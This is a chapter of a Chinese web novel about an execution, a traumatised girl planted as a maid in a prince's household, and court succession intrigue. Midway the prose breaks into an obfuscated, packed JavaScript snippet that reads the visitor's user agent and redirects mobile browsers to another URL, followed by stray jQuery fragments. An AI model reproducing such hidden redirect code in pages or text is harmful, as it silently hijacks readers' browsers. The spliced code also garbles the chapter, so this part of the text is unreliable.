默认冷灰
24号文字
方正启体

187. 等待

作者:柳漆栖本书字数:K更新时间:
    绞杀的过程快速而又漫长,不一会的功夫,曹婆子和她的两个同伙便面色紫黑,舌出眼凸,手变成了无法收回的的鸡爪样,一看就知道彻底地没有了生气。


    只是那刽子手仍然在死死的绞着刑架,直到她们真的彻底地生命断绝,无法继续。


    在确认了人真的死绝了之后,那刽子手才将绳索松了开来。


    被松开的尸体因为没有了生气的支持软趴趴的垂着头,像是一个破烂的破布娃娃。


    一旁等候了许久的仵作走上前来,思嘉和郭幼帧认出,那是林晚。


    在众人的注视下,她走上前去一个个的察验着这已经死的不能再死人,是不是还活着。


    仅仅用了不到几个呼吸的功夫,她便起了身来,对着仍坐在中央木椅上的曹磊进行了禀告。


    “回禀大人,嫌犯曹婆子三人均已伏法。”


    而听到这一结果,思嘉再也承受不住,她一整人捂着嘴便趴越在围栏之上,在郭幼帧还没反应过来之时,扒开人群拥挤着跑了出去。


    此刻,她的喉头疯狂涌动着,似乎有什么东西想要从里面跑出来。


    郭幼帧眼神平静的看着这一幕,又转头看了看那空地的邢台上正在被吊起的三人的尸体,也不再逗留,跟着钻了出去。


    钻出人群之时,郭幼帧一眼便看到了那在角落里不停干呕的思嘉。


    她的眼睛因为呕吐的动作而变红,落泪,口中的涎不停流出,可里面什么东西都没有。


    郭幼帧冷冷的看着这一幕,站立在她的不远处。


    她并不想上前,有些时候,接受或许很艰难,但这是必须要经历的一关,而对于生死的考验,是思嘉必须跨过的一道魔障。


    此前在林晚的药庐之时,思嘉虽然每日的精神状态一天好过一天,但每个夜晚她都会被噩梦所惊醒,她的口中不停喊着:“娘,阿娘…不要,不要。”


    那是她对母亲和死亡的梦魇,她害怕,她挣扎,所以梦里日日夜夜都浮现出那样的景象。


    而为了解决这个问题,郭幼帧便带她来看了这样一场热闹。


    一场要人性命的热闹。


    这是郭幼帧认为解决问题最直接的方法,将一个亲眼看着全村老幼活活烧死的女孩再一次压上悬崖,看着她再次崩溃,看着她从崩溃中将自己重新拼好,这是一个死中得活的法子,暴戾但管用。


    果不其然,在思嘉干呕了一会之后,她深深的吸了一口,再抬头,她原本有些苍白的脸色,已然红润了起来,原本迷茫,空洞的眼神也开始聚焦清明,仿佛她大梦一场,而现在彻底清醒了过来。


    破而后立,直面恐惧才能从恐惧之中挣扎逃生。


    郭幼帧带着已然有些脱胎换骨的思嘉去往了福王府。


    在交代完所有的事情之后,张砚什么话也没说,只是任由她安排思嘉的去处。


    虽说是来福王府中当丫鬟的,但郭幼帧还是给了她其他府中丫鬟并没有的待遇,府里的其他丫鬟,无论等级,都挤在了后院厢房的通铺之上。


    唯有思嘉,在被带来的那天,郭幼帧便准备了一个干净的屋子让她居住。


    而思嘉都将这些看在眼里,却并未言语。


    夜晚,魏府中,魏抒的一个小厮抱着一个东西进到了府里,他的胸前因为东西的浸染变得湿漉漉的一片,见着魏抒的瞬间,他从怀里掏出了一个有些鲜血淋漓满是腥气的荷叶包,大喊:“少爷,东西我给拿来了!”


    在思嘉进入福王府的第三天夜里。


    她刚从一天的疲惫中挣扎走回了自己的房间,只是刚进门,黑暗中一双手便猛然捂住了她的嘴,钳制住了她企图挣扎的手。


    她的眼睛因为惊恐而瞪大突出,心脏也因为未知的恐惧而砰砰直跳,冷汗瞬间便冒了出来。


    “别动,是我。”男子低沉的声音传来。


    在听到这个声音之后,她似是认出了眼前的人是谁,心中的害怕立刻便松了下来。


    见人不再挣扎,男子这才放下了手。


    “你怎么到这里来了?”


    知道了来人是谁,思嘉立马探头从房门外观看了一番,见周围并没有人之后这才将房门反锁了起来。


    “我不能来?”男子反问。


    “不,不是。”思嘉立马否认。


    “我是怕你在这会被他们发现。”


    她看着黑暗中的男子,虽然看不清样貌,但那挺拔坚毅的身躯依然能够模糊的浮现在她的眼前。


    “不会的,张砚的注意力现在不在我这里,而且他自顾不暇,又怎么会在意有人半夜潜入一个丫鬟的房间呢?”


    思嘉听他这样说,沉默了片刻,眼睛里是一种无法探知的情感。


    “你很聪明,知道用什么方法进到这里来不会让他们察觉。”见她不说话,他又继续夸奖道。


    “还是你出的主意好。”终于她叹了一口气,回答道。


    “你说过要让他们自己都痛心不已,然后可怜与我,以为我真的不想活了才能放下警惕,这样置之死地而后生,才能不会再怀疑我。”


    原来,思嘉被从秋华楼带走的当天,秋华楼的掌柜注视着郭幼帧等人的离去,他心满意足的数了数那新得的几锭银子以及手里那五百两银票,唇角勾了勾,将它们放回到了怀中收好,瞬间便又变换上了另外的一副模样。


    他并不再像见到郭幼帧等人时的唯唯诺诺,而是变成了一副气定神闲的样子,他拍了拍手,一楼房子里的一个小斯听到他的拍手声,立刻跑了出来,


    “去跟六爷说,人被他们带走了。”


    自上次郭幼帧他们,在寂照寺发现类似于四皇子的人影已然过了一个月之久。


    而这一个月里,张砚派的人每时每刻都在跟踪着南朝那位四皇子的行踪。


    平日的四皇子深居简出,不是上朝便是在家处理政务,他的行为活动都十分规律。


    因此,每天传到郭幼帧和张砚手中的结果基本上都大致相同。


    甚至就连休沐他都不闲着,还要去公署里自愿工作加班,简直像是一个不会感到疲劳的水轮,日复一日的旋转着。


    而这每日的结果,让郭幼帧和张砚看了甚至都有些怀疑,当日的人是否真的是四皇子。


    “该不会是你认错了吧?”


    再一次拿到新的跟踪消息,一如往常,早日卯时上朝,辰时下朝,下朝后就回到亲王府或者文学馆开始处理公务,然后晚间用饭,再继续处理公务,并没有其他的什么爱好或者动作。


    甚至连开小差的时间都没有。


    “这位四皇子未免有点太过自律了一些吧,看了他的这每日行动,我甚至都觉得我每日的公务处理,那简直都是儿戏。”


    郭幼帧从张砚手中拿过了今日的探查纸条,看着上面的字,她的眉头略微一皱。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488184|202111||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她看着上面这三点一线的每日,像是一个绳索,绷直便不会有任何地变化。


    她想象不出,这位四皇子怎么会如此的热爱处理公务,废寝忘食,甚至没有任何的外交。


    她又将纸条交回给张砚,感觉有些不可思议。


    可张砚看了看那纸条只是笑着摇了摇头,然后点了一支火折子将它烧成了灰烬。


    “你可知这位四皇子为何如此自律?”


    郭幼帧有些迷茫的摇了摇头。


    “现在南朝的储君未定,大皇子镇守边疆,当年他的母后是被元天皇刺死的,所以一直耿耿于怀,因此她去世他也没有回来。


    “二皇子随船队出游海外,现在还未归来。”


    “这成年以及未嫁娶之人中便只剩下了三皇子、四皇子和五公主。”


    “此前朝中之时,三皇子和四皇子便无时无刻不在朝堂中争斗,而其他皇子和公主都不必细说,他们年龄都太小,上不了台面。”


    “三皇子年初之时被拉入了假药案的风波,现在名声一败涂地,甚至有风声传来,这位皇子所做的强骨丸就是受了元明皇的指示,用来毒害元天皇的,因此,元明皇近一段时间对他都十分冷淡。”


    “那这样思来想去,只有这位四皇子便是那皇位最有可能的竞争获得者。”


    张砚顿了一顿,他抬头往房外看去,似乎是想到了什么,又嗤笑一声。


    “不过你也别以为这位四皇子是个什么好东西?”


    “他的手段比起那位三皇子来还要不遑多让,三皇子做人做事虽然狠毒,但脑子不好,很快便会被人查到与他之间的牵连,而这位四皇子却要更加黑心,细心的多。”


    “四皇子云莳的母后是吴家出身,只是她并不是吴家之人。”


    “而是吴晏的那个本家大哥,曾经娇养在外的一个外室。”


    “人长得漂亮,也会说话,只是出身并不太好,你也知连带着吴家他们六卿之中,所连姻亲均是有头有脸的人物家族,吴晏的那个本家大哥本就有娶妻,而且妻子也是名门望族,这知道了他养外室之后便闹得家中鸡飞狗跳。”


    “那士族家中认为吴家人打了他们的脸面,嚷嚷着要与吴家断亲,吴晏没了法,原本想找人发卖又或者打死那个外室的,但之后又看她确有几分姿色并且饱读诗书,举止有礼,甚至待人接物的情商也十分高巧,又碰巧遇到当年元明皇选妃,这才找人篡改了她的身份信息,装作是吴家的一个旁支,将其送进了宫里。”


    “吴晏做人虽然阴险狡诈,但选人的眼光当真不错,那女子入宫短短半年,就从一个岌岌无名的官女子一跃成为了皇帝最宠爱的妃嫔,之后便生下了这位四皇子,更是母凭子贵,晋升为妃,元明皇甚至还亲自为她赐封号为‘珏’。”


    “珏者,成双成对。”


    “在这激烈斗争的皇宫内院,竟然有人能让皇帝想要成双成对,好事成双,那这女子当真是手段了的。”郭幼帧说。


    张砚点头赞同:“说实话,在元明帝的这些子女之中,他确实更加喜爱这位四皇子,只是可惜,他的背后是六卿。”


    “因此,就算是元明帝再糊涂,他也不会将江山让给这位皇子,那只会让整个南朝落入在六卿手里更深罢了。”


    “而且你可知,大皇子的母亲为何会被元天皇刺死?”


    张砚反问。


    郭幼帧摇了摇头。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)